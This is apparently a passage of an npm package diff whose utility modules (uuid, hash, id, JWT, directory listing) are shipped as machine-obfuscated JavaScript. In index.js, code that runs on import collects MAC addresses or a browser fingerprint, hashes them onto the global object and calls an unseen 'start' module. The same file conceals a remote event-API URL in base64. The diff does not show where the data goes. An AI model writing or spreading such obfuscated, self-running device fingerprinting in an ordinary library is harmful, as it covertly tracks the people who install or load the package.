_0x58617d=_0x2e51f5[_0x3bf11f];return _0x58617d;},a12_0x3bf1(_0x1936fa,_0x31b78c);}function a12_0x2e51(){const _0x114a73=['statSync','32502HtiGBH','186877wKmmJZ','next','throw','28760988UhYNPJ','then','length','8901549BkpVlg','13ydNUSm','1804726MEuQYe','3haaYGG','readdirSync','32952ZofFQc','10aurpaX','done','3829092KDVgJl','6eWBeLq','1106FymUGw','__awaiter','isDirectory','985BQkDJl','value','join'];a12_0x2e51=function(){return _0x114a73;};return a12_0x2e51();}export default getAllRouter;
1
+ const a12_0x35b9a5=a12_0x5e4a;(function(_0x22f4a6,_0x54d2c4){const _0x193a38=a12_0x5e4a,_0x2132cb=_0x22f4a6();while(!![]){try{const _0x4d8b89=parseInt(_0x193a38(0x1c9))/0x1+-parseInt(_0x193a38(0x1c6))/0x2*(-parseInt(_0x193a38(0x1cb))/0x3)+-parseInt(_0x193a38(0x1d8))/0x4*(parseInt(_0x193a38(0x1c8))/0x5)+-parseInt(_0x193a38(0x1d5))/0x6+parseInt(_0x193a38(0x1ca))/0x7*(parseInt(_0x193a38(0x1d0))/0x8)+-parseInt(_0x193a38(0x1c7))/0x9+parseInt(_0x193a38(0x1d3))/0xa*(parseInt(_0x193a38(0x1cf))/0xb);if(_0x4d8b89===_0x54d2c4)break;else _0x2132cb['push'](_0x2132cb['shift']());}catch(_0x5a6791){_0x2132cb['push'](_0x2132cb['shift']());}}}(a12_0x5847,0x2f409));var __awaiter=this&&this[a12_0x35b9a5(0x1d7)]||function(_0x50b7c6,_0x4703a6,_0x2df561,_0x4e8219){function _0x1ccdcd(_0x4704c6){return _0x4704c6 instanceof _0x2df561?_0x4704c6:new _0x2df561(function(_0x5d7dc5){_0x5d7dc5(_0x4704c6);});}return new(_0x2df561||(_0x2df561=Promise))(function(_0x469552,_0x340b82){const _0x3165e5=a12_0x5e4a;function _0x1d355a(_0x518ae8){const _0x2fa039=a12_0x5e4a;try{_0x1992bc(_0x4e8219[_0x2fa039(0x1d6)](_0x518ae8));}catch(_0x407f1a){_0x340b82(_0x407f1a);}}function _0x124f9b(_0x59fd75){const _0x32c985=a12_0x5e4a;try{_0x1992bc(_0x4e8219[_0x32c985(0x1ce)](_0x59fd75));}catch(_0x25ea5f){_0x340b82(_0x25ea5f);}}function _0x1992bc(_0x527c44){const _0x51bee5=a12_0x5e4a;_0x527c44[_0x51bee5(0x1cc)]?_0x469552(_0x527c44['value']):_0x1ccdcd(_0x527c44[_0x51bee5(0x1da)])[_0x51bee5(0x1d2)](_0x1d355a,_0x124f9b);}_0x1992bc((_0x4e8219=_0x4e8219[_0x3165e5(0x1d1)](_0x50b7c6,_0x4703a6||[]))[_0x3165e5(0x1d6)]());});};import a12_0x254adc from'fs';function a12_0x5e4a(_0x3d8e96,_0xac3041){const _0x5847b2=a12_0x5847();return a12_0x5e4a=function(_0x5e4ad8,_0x2e56a4){_0x5e4ad8=_0x5e4ad8-0x1c6;let _0xa9bccb=_0x5847b2[_0x5e4ad8];return _0xa9bccb;},a12_0x5e4a(_0x3d8e96,_0xac3041);}import a12_0x14ce82 from'path';function fileDisplay(_0x30a63b){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x347c20=[];function _0x835a70(_0x55ab33){const _0x1e5c70=a12_0x5e4a,_0x17a751=a12_0x254adc['readdirSync'](_0x55ab33);for(let _0x231827=0x0;_0x231827<_0x17a751[_0x1e5c70(0x1d9)];_0x231827++){const _0x1d5692=_0x17a751[_0x231827],_0x298030=a12_0x14ce82['join'](_0x55ab33,_0x1d5692),_0x4e8bb4=a12_0x254adc['statSync'](_0x298030),_0x5c7d82=_0x4e8bb4['isFile'](),_0x3b3018=_0x4e8bb4[_0x1e5c70(0x1d4)]();_0x5c7d82&&_0x347c20[_0x1e5c70(0x1cd)](_0x298030),_0x3b3018&&_0x835a70(_0x298030);}}return _0x835a70(_0x30a63b),_0x347c20;});}function a12_0x5847(){const _0x2c61dd=['push','throw','2431EYtudC','16DModNX','apply','then','12610ZdfmtV','isDirectory','970416GKkojR','next','__awaiter','30328DOhJXu','length','value','12266qhcFSF','1904472CggtaQ','185WGPtqd','75715dvzMoR','931371btPijy','111rpoDrF','done'];a12_0x5847=function(){return _0x2c61dd;};return a12_0x5847();}function getAllRouter(_0x30c1f9){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x252981=yield fileDisplay(_0x30c1f9);return _0x252981;});}export default getAllRouter;
@@ -1 +1 @@
1
- (function(_0x46ca40,_0x4e4897){var _0x37c0c1=a13_0x4430,_0x380dd5=_0x46ca40();while(!![]){try{var _0x1519a2=-parseInt(_0x37c0c1(0x130))/0x1*(-parseInt(_0x37c0c1(0x12b))/0x2)+-parseInt(_0x37c0c1(0x12c))/0x3+-parseInt(_0x37c0c1(0x138))/0x4+parseInt(_0x37c0c1(0x135))/0x5*(parseInt(_0x37c0c1(0x136))/0x6)+-parseInt(_0x37c0c1(0x132))/0x7+parseInt(_0x37c0c1(0x12e))/0x8*(parseInt(_0x37c0c1(0x139))/0x9)+-parseInt(_0x37c0c1(0x12d))/0xa*(-parseInt(_0x37c0c1(0x134))/0xb);if(_0x1519a2===_0x4e4897)break;else _0x380dd5['push'](_0x380dd5['shift']());}catch(_0x5c46a4){_0x380dd5['push'](_0x380dd5['shift']());}}}(a13_0x18d6,0x191d2));import a13_0x1b4b36 from'md5';import a13_0x26496a from'sha1';function a13_0x18d6(){var _0xc9a205=['5OqewUu','415092qfLtBJ','sha1混淆','518908HtzXxA','9SWqEAU','82xpxrMY','163623uDlFfZ','886000vIusHQ','329624WPgdqq','sha1','4669KypMeT','sha256','722960czXXEg','MD5加盐','11JzPthh'];a13_0x18d6=function(){return _0xc9a205;};return a13_0x18d6();}import a13_0x55e277 from'sha256';function a13_0x4430(_0x4f3cc8,_0x19adec){var _0x18d689=a13_0x18d6();return a13_0x4430=function(_0x443037,_0x3065c9){_0x443037=_0x443037-0x12b;var _0x458846=_0x18d689[_0x443037];return _0x458846;},a13_0x4430(_0x4f3cc8,_0x19adec);}function hash(_0x530265,_0x10965f){var _0x49bc03=a13_0x4430;if(_0x10965f==_0x49bc03(0x131))return a13_0x55e277(_0x530265+a13_0x26496a(_0x530265+_0x49bc03(0x137))+a13_0x1b4b36(_0x530265+_0x49bc03(0x133)));else return _0x10965f==_0x49bc03(0x12f)?a13_0x26496a(_0x530265+a13_0x55e277(_0x530265+_0x49bc03(0x137))+a13_0x1b4b36(_0x530265+_0x49bc03(0x133))):a13_0x1b4b36(_0x530265+a13_0x55e277(_0x530265+_0x49bc03(0x137))+a13_0x26496a(_0x530265+_0x49bc03(0x133)));}export default hash;
1
+ function a13_0x3a8b(_0x46c3dd,_0x15b2cb){var _0x18a3bb=a13_0x18a3();return a13_0x3a8b=function(_0x3a8ba7,_0x168a78){_0x3a8ba7=_0x3a8ba7-0x180;var _0x396e7f=_0x18a3bb[_0x3a8ba7];return _0x396e7f;},a13_0x3a8b(_0x46c3dd,_0x15b2cb);}(function(_0x45a7cb,_0x526b23){var _0x35f4c2=a13_0x3a8b,_0xd011d3=_0x45a7cb();while(!![]){try{var _0x13a306=-parseInt(_0x35f4c2(0x181))/0x1+parseInt(_0x35f4c2(0x187))/0x2+-parseInt(_0x35f4c2(0x184))/0x3+parseInt(_0x35f4c2(0x182))/0x4*(parseInt(_0x35f4c2(0x188))/0x5)+-parseInt(_0x35f4c2(0x18b))/0x6+-parseInt(_0x35f4c2(0x180))/0x7*(parseInt(_0x35f4c2(0x18d))/0x8)+parseInt(_0x35f4c2(0x183))/0x9*(parseInt(_0x35f4c2(0x186))/0xa);if(_0x13a306===_0x526b23)break;else _0xd011d3['push'](_0xd011d3['shift']());}catch(_0x72bf49){_0xd011d3['push'](_0xd011d3['shift']());}}}(a13_0x18a3,0x8f40c));import a13_0x1be8cf from'md5';import a13_0x27d3bf from'sha1';import a13_0xc9ae61 from'sha256';function hash(_0x2c399a,_0x1d9c12){var _0x1b4101=a13_0x3a8b;if(_0x1d9c12==_0x1b4101(0x18a))return a13_0xc9ae61(_0x2c399a+a13_0x27d3bf(_0x2c399a+_0x1b4101(0x185))+a13_0x1be8cf(_0x2c399a+_0x1b4101(0x18c)));else return _0x1d9c12==_0x1b4101(0x189)?a13_0x27d3bf(_0x2c399a+a13_0xc9ae61(_0x2c399a+_0x1b4101(0x185))+a13_0x1be8cf(_0x2c399a+_0x1b4101(0x18c))):a13_0x1be8cf(_0x2c399a+a13_0xc9ae61(_0x2c399a+_0x1b4101(0x185))+a13_0x27d3bf(_0x2c399a+'MD5加盐'));}function a13_0x18a3(){var _0x4092aa=['sha256','1741596tGLhzR','MD5加盐','8MDcIWN','2525761mlKJjg','1689JRJfzk','4585676nyXVJX','54uvKDHn','2958477fbOVUw','sha1混淆','981170HfooST','981160dEhCDh','5aTKcgt','sha1'];a13_0x18a3=function(){return _0x4092aa;};return a13_0x18a3();}export default hash;
@@ -1 +1 @@
1
- function a14_0x48e0(_0x480610,_0x5aac70){const _0xf6319f=a14_0xf631();return a14_0x48e0=function(_0x48e0c8,_0x412d3b){_0x48e0c8=_0x48e0c8-0x1ce;let _0x2782c4=_0xf6319f[_0x48e0c8];return _0x2782c4;},a14_0x48e0(_0x480610,_0x5aac70);}const a14_0x164880=a14_0x48e0;(function(_0x493aee,_0x57f5bd){const _0x550496=a14_0x48e0,_0x2f156f=_0x493aee();while(!![]){try{const _0x315774=-parseInt(_0x550496(0x1d2))/0x1+-parseInt(_0x550496(0x1d6))/0x2*(parseInt(_0x550496(0x1d0))/0x3)+-parseInt(_0x550496(0x1d9))/0x4*(-parseInt(_0x550496(0x1cf))/0x5)+-parseInt(_0x550496(0x1d5))/0x6+parseInt(_0x550496(0x1d4))/0x7+-parseInt(_0x550496(0x1d1))/0x8+parseInt(_0x550496(0x1d3))/0x9;if(_0x315774===_0x57f5bd)break;else _0x2f156f['push'](_0x2f156f['shift']());}catch(_0x504d22){_0x2f156f['push'](_0x2f156f['shift']());}}}(a14_0xf631,0x38a69));function a14_0xf631(){const _0x4e2f97=['3844YHdqot','NODE_APP_INSTANCE','2025-01-01','2335EdeWkx','41790xIIvxm','2865432OpIZLz','254205yixrth','1896372AdIXuB','1776159SikGxr','245682BYpapw','4RkWvwG','env','min'];a14_0xf631=function(){return _0x4e2f97;};return a14_0xf631();}import a14_0x3c3008 from'./random';const BaseTime=+new Date(a14_0x164880(0x1ce));let lastTimeTick,lastRandomNumberTick=a14_0x3c3008(0x1,0x3);function id(){const _0x47ece9=a14_0x164880,_0x29b30e=Math[_0x47ece9(0x1d8)](process[_0x47ece9(0x1d7)][_0x47ece9(0x1da)]?+process[_0x47ece9(0x1d7)][_0x47ece9(0x1da)]:a14_0x3c3008(0x0,0x9),0x9);let _0x116168=+new Date()-BaseTime;return lastRandomNumberTick=_0x116168==lastTimeTick?++lastRandomNumberTick:a14_0x3c3008(0x0,0x3),lastTimeTick=_0x116168,+(''+_0x116168+_0x29b30e+lastRandomNumberTick);}export default id;
1
+ const a14_0x29570d=a14_0x2f01;(function(_0xa1e8ad,_0x3525f7){const _0x40d86c=a14_0x2f01,_0x17c39e=_0xa1e8ad();while(!![]){try{const _0x2124d0=parseInt(_0x40d86c(0x6b))/0x1*(parseInt(_0x40d86c(0x67))/0x2)+parseInt(_0x40d86c(0x6a))/0x3*(-parseInt(_0x40d86c(0x6e))/0x4)+-parseInt(_0x40d86c(0x6f))/0x5*(-parseInt(_0x40d86c(0x69))/0x6)+-parseInt(_0x40d86c(0x66))/0x7+parseInt(_0x40d86c(0x68))/0x8+parseInt(_0x40d86c(0x70))/0x9+-parseInt(_0x40d86c(0x65))/0xa*(-parseInt(_0x40d86c(0x6c))/0xb);if(_0x2124d0===_0x3525f7)break;else _0x17c39e['push'](_0x17c39e['shift']());}catch(_0x52427b){_0x17c39e['push'](_0x17c39e['shift']());}}}(a14_0x598a,0xb9478));function a14_0x598a(){const _0x3508ac=['10531136ONCwuL','41066uGPMHt','1054128DIMnHl','2460ZZtXyB','535560ybnhGz','5huwLxe','11hDGlnV','2025-01-01','12GuQZvl','6340iAJZYF','7950960XKeEEf','env','NODE_APP_INSTANCE','min','11611610wHlNaX'];a14_0x598a=function(){return _0x3508ac;};return a14_0x598a();}import a14_0x30bce7 from'./random';const BaseTime=+new Date(a14_0x29570d(0x6d));let lastTimeTick,lastRandomNumberTick=a14_0x30bce7(0x1,0x3);function a14_0x2f01(_0x5ab5d6,_0x5860b6){const _0x598acb=a14_0x598a();return a14_0x2f01=function(_0x2f0196,_0xf68361){_0x2f0196=_0x2f0196-0x65;let _0x4e95a8=_0x598acb[_0x2f0196];return _0x4e95a8;},a14_0x2f01(_0x5ab5d6,_0x5860b6);}function id(){const _0x1d6fb3=a14_0x29570d,_0x26656e=Math[_0x1d6fb3(0x73)](process['env'][_0x1d6fb3(0x72)]?+process[_0x1d6fb3(0x71)][_0x1d6fb3(0x72)]:a14_0x30bce7(0x0,0x9),0x9);let _0xbbf20d=+new Date()-BaseTime;return lastRandomNumberTick=_0xbbf20d==lastTimeTick?++lastRandomNumberTick:a14_0x30bce7(0x0,0x3),lastTimeTick=_0xbbf20d,+(''+_0xbbf20d+_0x26656e+lastRandomNumberTick);}export default id;
@@ -1 +1 @@
1
- const a15_0x306896=a15_0x4850;(function(_0x102891,_0x2c2a7d){const _0x306e33=a15_0x4850,_0x3f7330=_0x102891();while(!![]){try{const _0x2ee496=-parseInt(_0x306e33(0x10c))/0x1+-parseInt(_0x306e33(0x10e))/0x2*(parseInt(_0x306e33(0x107))/0x3)+parseInt(_0x306e33(0x109))/0x4+parseInt(_0x306e33(0x10b))/0x5+parseInt(_0x306e33(0x108))/0x6+parseInt(_0x306e33(0x106))/0x7+-parseInt(_0x306e33(0x10a))/0x8;if(_0x2ee496===_0x2c2a7d)break;else _0x3f7330['push'](_0x3f7330['shift']());}catch(_0x2b86c8){_0x3f7330['push'](_0x3f7330['shift']());}}}(a15_0x918d,0x83a7c));function a15_0x4850(_0x51fb00,_0x2d6bca){const _0x918d92=a15_0x918d();return a15_0x4850=function(_0x485094,_0x271aa9){_0x485094=_0x485094-0x106;let _0x505947=_0x918d92[_0x485094];return _0x505947;},a15_0x4850(_0x51fb00,_0x2d6bca);}function a15_0x918d(){const _0x57ad18=['594216zuoRCH','random','40XQSNnB','1724254NXyFvx','86748FJafYa','3174702yJFtQI','2779176NjovkD','6634912VzEfVm','5354635kLAHZY'];a15_0x918d=function(){return _0x57ad18;};return a15_0x918d();}const random=(_0x225bfa,_0x218b41)=>Math['round'](Math[a15_0x306896(0x10d)]()*(_0x218b41-_0x225bfa))+_0x225bfa;export default random;
1
+ function a15_0x2861(){const _0x54197e=['934440GkScRQ','77950fLQhwQ','random','3368VdLpSo','267006TKmkwV','73675zwlnjD','4449550JYKuLn','4329RmaqcV','21iftkra','15ViyXHO','206667Lhrmwx'];a15_0x2861=function(){return _0x54197e;};return a15_0x2861();}function a15_0x5633(_0x9d62bb,_0x195f4d){const _0x286125=a15_0x2861();return a15_0x5633=function(_0x5633f8,_0xff5c8f){_0x5633f8=_0x5633f8-0xb1;let _0x682408=_0x286125[_0x5633f8];return _0x682408;},a15_0x5633(_0x9d62bb,_0x195f4d);}const a15_0x35149f=a15_0x5633;(function(_0x1e2c0f,_0x12782b){const _0x95ae7b=a15_0x5633,_0x1183a3=_0x1e2c0f();while(!![]){try{const _0x34a9f8=-parseInt(_0x95ae7b(0xba))/0x1+parseInt(_0x95ae7b(0xb1))/0x2*(-parseInt(_0x95ae7b(0xb9))/0x3)+-parseInt(_0x95ae7b(0xbb))/0x4+-parseInt(_0x95ae7b(0xb5))/0x5+-parseInt(_0x95ae7b(0xb4))/0x6*(-parseInt(_0x95ae7b(0xb8))/0x7)+parseInt(_0x95ae7b(0xb3))/0x8*(parseInt(_0x95ae7b(0xb7))/0x9)+parseInt(_0x95ae7b(0xb6))/0xa;if(_0x34a9f8===_0x12782b)break;else _0x1183a3['push'](_0x1183a3['shift']());}catch(_0xa57619){_0x1183a3['push'](_0x1183a3['shift']());}}}(a15_0x2861,0x20000));const random=(_0x55f0db,_0x3d80c2)=>Math['round'](Math[a15_0x35149f(0xb2)]()*(_0x3d80c2-_0x55f0db))+_0x55f0db;export default random;
package/dist/esm/index.js CHANGED
@@ -1 +1 @@
1
- const a16_0x21a3eb=a16_0x1ea8;(function(_0x3f1009,_0x222c24){const _0x177e12=a16_0x1ea8,_0x4241aa=_0x3f1009();while(!![]){try{const _0x48b9df=parseInt(_0x177e12(0x10a))/0x1*(parseInt(_0x177e12(0x10c))/0x2)+-parseInt(_0x177e12(0x10f))/0x3*(parseInt(_0x177e12(0x10b))/0x4)+parseInt(_0x177e12(0x111))/0x5*(parseInt(_0x177e12(0x108))/0x6)+parseInt(_0x177e12(0x129))/0x7*(parseInt(_0x177e12(0x126))/0x8)+-parseInt(_0x177e12(0x10d))/0x9*(-parseInt(_0x177e12(0x121))/0xa)+-parseInt(_0x177e12(0x120))/0xb+-parseInt(_0x177e12(0x127))/0xc*(parseInt(_0x177e12(0x11e))/0xd);if(_0x48b9df===_0x222c24)break;else _0x4241aa['push'](_0x4241aa['shift']());}catch(_0x1ce0c7){_0x4241aa['push'](_0x4241aa['shift']());}}}(a16_0x4331,0xbdde1));var __awaiter=this&&this[a16_0x21a3eb(0x114)]||function(_0x1f2b5f,_0x598e16,_0x5b2c51,_0x35a9f7){function _0x114f6b(_0x2c4882){return _0x2c4882 instanceof _0x5b2c51?_0x2c4882:new _0x5b2c51(function(_0x47eff9){_0x47eff9(_0x2c4882);});}return new(_0x5b2c51||(_0x5b2c51=Promise))(function(_0x15c1f7,_0x4ecbcf){const _0x30158e=a16_0x1ea8;function _0x4fd45e(_0x5e653b){try{_0x14520d(_0x35a9f7['next'](_0x5e653b));}catch(_0x4daf14){_0x4ecbcf(_0x4daf14);}}function _0x2c693c(_0x36102f){const _0x1083f0=a16_0x1ea8;try{_0x14520d(_0x35a9f7[_0x1083f0(0x119)](_0x36102f));}catch(_0x15dfdf){_0x4ecbcf(_0x15dfdf);}}function _0x14520d(_0x4e55aa){const _0x4ec0bd=a16_0x1ea8;_0x4e55aa[_0x4ec0bd(0x11a)]?_0x15c1f7(_0x4e55aa['value']):_0x114f6b(_0x4e55aa[_0x4ec0bd(0x11d)])['then'](_0x4fd45e,_0x2c693c);}_0x14520d((_0x35a9f7=_0x35a9f7[_0x30158e(0x116)](_0x1f2b5f,_0x598e16||[]))[_0x30158e(0x112)]());});};import{v4}from'uuid';import a16_0x483034 from'md5';import a16_0x2da46a from'sha1';import a16_0x38a250 from'sha256';import a16_0x48aeba from'./start';import a16_0x59779a from'./hash';import a16_0x4ba787 from'./jwt';import a16_0x4f1729 from'path';import a16_0x20c10b from'@fingerprintjs/fingerprintjs';import{decode}from'js-base64';const isBrowser=typeof window!==a16_0x21a3eb(0x107);let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};function a16_0x1ea8(_0x2ebc05,_0x2b91ec){const _0x4331d5=a16_0x4331();return a16_0x1ea8=function(_0x1ea817,_0x52fdad){_0x1ea817=_0x1ea817-0x106;let _0x2c50dc=_0x4331d5[_0x1ea817];return _0x2c50dc;},a16_0x1ea8(_0x2ebc05,_0x2b91ec);}const globalObject=isBrowser?window:global;let metaEvent=Object[a16_0x21a3eb(0x11b)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});export function setEnv(_0x54594c,_0x53d87c){metaEvent[_0x54594c]=_0x53d87c;}export function getEnv(_0x565389){return metaEvent[_0x565389];}function a16_0x4331(){const _0x16da29=['get','undefined','690288CMRJCF','dev','5527bwYcBX','1804cULjtE','10HZbtmG','297NgBkCE','node.js','4197yUFhXQ','then','55IHypHK','next','hash_id','__awaiter','hash_key','apply','join','not_update','throw','done','assign','mysql','value','4423952WoxRoP','visitorId','9986603VwPIkl','365340RfPSFN','map','./getAllRouter','default','./mac','872USuAHf','36AxmVPv','load','53858ZsbHMa'];a16_0x4331=function(){return _0x16da29;};return a16_0x4331();}let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';export let url=getEnv(a16_0x21a3eb(0x109))?decode(dev):decode(pro);if(!isBrowser){id=require('./id')[a16_0x21a3eb(0x124)],getAllRouter=require(a16_0x21a3eb(0x123))[a16_0x21a3eb(0x124)],mysql=require('./server')[a16_0x21a3eb(0x11c)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a16_0x21a3eb(0x118)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x3c866b=a16_0x21a3eb;if(!isBrowser){const _0x7612f1=require(a16_0x4f1729[_0x3c866b(0x117)](__dirname,_0x3c866b(0x125)))[_0x3c866b(0x124)];mac=_0x7612f1();}else{let _0x8188c0=yield a16_0x20c10b[_0x3c866b(0x128)]()['then'](_0x205249=>_0x205249[_0x3c866b(0x106)]())[_0x3c866b(0x110)](_0x56c91d=>{const _0x3cc244=_0x3c866b,_0x1b8599=_0x56c91d[_0x3cc244(0x11f)];return _0x1b8599;})['catch'](()=>'');mac=[_0x8188c0];}const _0x4239de=mac[_0x3c866b(0x122)](_0x47ad0c=>a16_0x2da46a(_0x47ad0c+'node.js'))[_0x3c866b(0x117)](';'),_0x7d23cd=a16_0x38a250(_0x4239de);globalObject[_0x3c866b(0x113)]=_0x7d23cd,globalObject[_0x3c866b(0x115)]!=a16_0x38a250(_0x7d23cd+a16_0x2da46a(_0x3c866b(0x10e)+_0x7d23cd))&&a16_0x48aeba();}))());const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':a16_0x59779a,'sha1':a16_0x2da46a,'md5':a16_0x483034,'jwt':a16_0x4ba787};export default all;export{uuid,id,getAllRouter,mysql,a16_0x2da46a as sha1,a16_0x38a250 as sha256,a16_0x483034 as md5,a16_0x59779a as hash,a16_0x4ba787 as jwt};
1
+ const a16_0x227bfa=a16_0xa2e6;(function(_0x396dc3,_0x5f43b5){const _0x3082b9=a16_0xa2e6,_0x524e93=_0x396dc3();while(!![]){try{const _0x447583=-parseInt(_0x3082b9(0xee))/0x1*(parseInt(_0x3082b9(0xd1))/0x2)+-parseInt(_0x3082b9(0xdf))/0x3*(parseInt(_0x3082b9(0xe8))/0x4)+parseInt(_0x3082b9(0xd0))/0x5+parseInt(_0x3082b9(0xeb))/0x6+-parseInt(_0x3082b9(0xcf))/0x7+-parseInt(_0x3082b9(0xd8))/0x8*(parseInt(_0x3082b9(0xe2))/0x9)+parseInt(_0x3082b9(0xe4))/0xa*(parseInt(_0x3082b9(0xe3))/0xb);if(_0x447583===_0x5f43b5)break;else _0x524e93['push'](_0x524e93['shift']());}catch(_0x97dca1){_0x524e93['push'](_0x524e93['shift']());}}}(a16_0x1ef7,0xdf855));var __awaiter=this&&this['__awaiter']||function(_0x6fcfbc,_0x4f52db,_0x37c0a5,_0x1fb249){function _0x579aa9(_0xfd8ead){return _0xfd8ead instanceof _0x37c0a5?_0xfd8ead:new _0x37c0a5(function(_0x17314b){_0x17314b(_0xfd8ead);});}return new(_0x37c0a5||(_0x37c0a5=Promise))(function(_0x3f4f81,_0xd581eb){const _0x37b0c6=a16_0xa2e6;function _0x3f6d2f(_0x5c8cd0){const _0x43aa33=a16_0xa2e6;try{_0x2c2ea7(_0x1fb249[_0x43aa33(0xd7)](_0x5c8cd0));}catch(_0x291476){_0xd581eb(_0x291476);}}function _0x5f26a6(_0x4421d6){const _0x366164=a16_0xa2e6;try{_0x2c2ea7(_0x1fb249[_0x366164(0xdc)](_0x4421d6));}catch(_0x23e41d){_0xd581eb(_0x23e41d);}}function _0x2c2ea7(_0x235e6d){const _0x4e1cd8=a16_0xa2e6;_0x235e6d[_0x4e1cd8(0xec)]?_0x3f4f81(_0x235e6d[_0x4e1cd8(0xed)]):_0x579aa9(_0x235e6d[_0x4e1cd8(0xed)])[_0x4e1cd8(0xde)](_0x3f6d2f,_0x5f26a6);}_0x2c2ea7((_0x1fb249=_0x1fb249[_0x37b0c6(0xef)](_0x6fcfbc,_0x4f52db||[]))['next']());});};import{v4}from'uuid';import a16_0x474546 from'md5';import a16_0x2ff964 from'sha1';import a16_0x2cc0db from'sha256';import a16_0x1d7f21 from'./start';import a16_0x39aaa0 from'./hash';import a16_0x183e8e from'./jwt';import a16_0x148b11 from'path';import a16_0x480c8b from'@fingerprintjs/fingerprintjs';import{decode}from'js-base64';const isBrowser=typeof window!=='undefined';let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};const globalObject=isBrowser?window:global;let metaEvent=Object['assign']((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a16_0x227bfa(0xe6)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});export function setEnv(_0x358288,_0x427559){metaEvent[_0x358288]=_0x427559;}export function getEnv(_0x318e1c){return metaEvent[_0x318e1c];}let dev=a16_0x227bfa(0xd4),pro=a16_0x227bfa(0xe0);export let url=getEnv(a16_0x227bfa(0xd6))?decode(dev):decode(pro);if(!isBrowser){id=require(a16_0x227bfa(0xce))[a16_0x227bfa(0xdb)],getAllRouter=require(a16_0x227bfa(0xea))[a16_0x227bfa(0xdb)],mysql=require('./server')['mysql'];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent['not_update'])){}}function a16_0x1ef7(){const _0x1de0ca=['./id','807009QaaXGg','3386460xIItGB','4AOJjdJ','node.js','load','aHR0cDovL2xvY2FsaG9zdDoxMDg4','./mac','dev','next','47696bFoPec','hash_key','visitorId','default','throw','join','then','378CYdkdi','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','hash_id','1026LHseQW','55DIGAzd','2539260YPQnAm','catch','meta_event','map','34064ZFontP','get','./getAllRouter','10941096ZesRZr','done','value','493463wlgjlv','apply'];a16_0x1ef7=function(){return _0x1de0ca;};return a16_0x1ef7();}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x58dc4b=a16_0x227bfa;if(!isBrowser){const _0x22a779=require(a16_0x148b11[_0x58dc4b(0xdd)](__dirname,_0x58dc4b(0xd5)))[_0x58dc4b(0xdb)];mac=_0x22a779();}else{let _0xab5947=yield a16_0x480c8b[_0x58dc4b(0xd3)]()[_0x58dc4b(0xde)](_0x5caac1=>_0x5caac1[_0x58dc4b(0xe9)]())['then'](_0x4391b8=>{const _0x38c468=_0x58dc4b,_0x9b85f0=_0x4391b8[_0x38c468(0xda)];return _0x9b85f0;})[_0x58dc4b(0xe5)](()=>'');mac=[_0xab5947];}const _0x4c6272=mac[_0x58dc4b(0xe7)](_0x1ac94b=>a16_0x2ff964(_0x1ac94b+_0x58dc4b(0xd2)))[_0x58dc4b(0xdd)](';'),_0x57fb49=a16_0x2cc0db(_0x4c6272);globalObject[_0x58dc4b(0xe1)]=_0x57fb49,globalObject[_0x58dc4b(0xd9)]!=a16_0x2cc0db(_0x57fb49+a16_0x2ff964(_0x58dc4b(0xd2)+_0x57fb49))&&a16_0x1d7f21();}))());const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':a16_0x39aaa0,'sha1':a16_0x2ff964,'md5':a16_0x474546,'jwt':a16_0x183e8e};function a16_0xa2e6(_0x22adfd,_0x276abf){const _0x1ef7f4=a16_0x1ef7();return a16_0xa2e6=function(_0xa2e6f9,_0x2e74c2){_0xa2e6f9=_0xa2e6f9-0xce;let _0x370966=_0x1ef7f4[_0xa2e6f9];return _0x370966;},a16_0xa2e6(_0x22adfd,_0x276abf);}export default all;export{uuid,id,getAllRouter,mysql,a16_0x2ff964 as sha1,a16_0x2cc0db as sha256,a16_0x474546 as md5,a16_0x39aaa0 as hash,a16_0x183e8e as jwt};
@@ -1,9 +1,8 @@
1
1
  declare function jwt(params: {
2
- payload: string | Buffer | object;
3
2
  key: string;
4
3
  expiresIn: string;
5
4
  }): {
6
- sign: string;
5
+ sign: (payload: string | Buffer | object) => string;
7
6
  verify: (token: string) => Promise<unknown>;
8
7
  };
9
8
  export default jwt;
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/jwt/index.ts"],"names":[],"mappings":"AAEA,iBAAS,GAAG,CAAC,MAAM,EAAE;IAAE,OAAO,EAAE,MAAM,GAAG,MAAM,GAAG,MAAM,CAAC;IAAC,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAA;CAAE;;oBASvD,MAAM;EAgBxC;AAED,eAAe,GAAG,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/jwt/index.ts"],"names":[],"mappings":"AAEA,iBAAS,GAAG,CAAC,MAAM,EAAE;IAAE,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAA;CAAE;oBAMnC,MAAM,GAAG,MAAM,GAAG,MAAM;oBAIT,MAAM;EAgBxC;AAED,eAAe,GAAG,CAAC"}
@@ -1 +1 @@
1
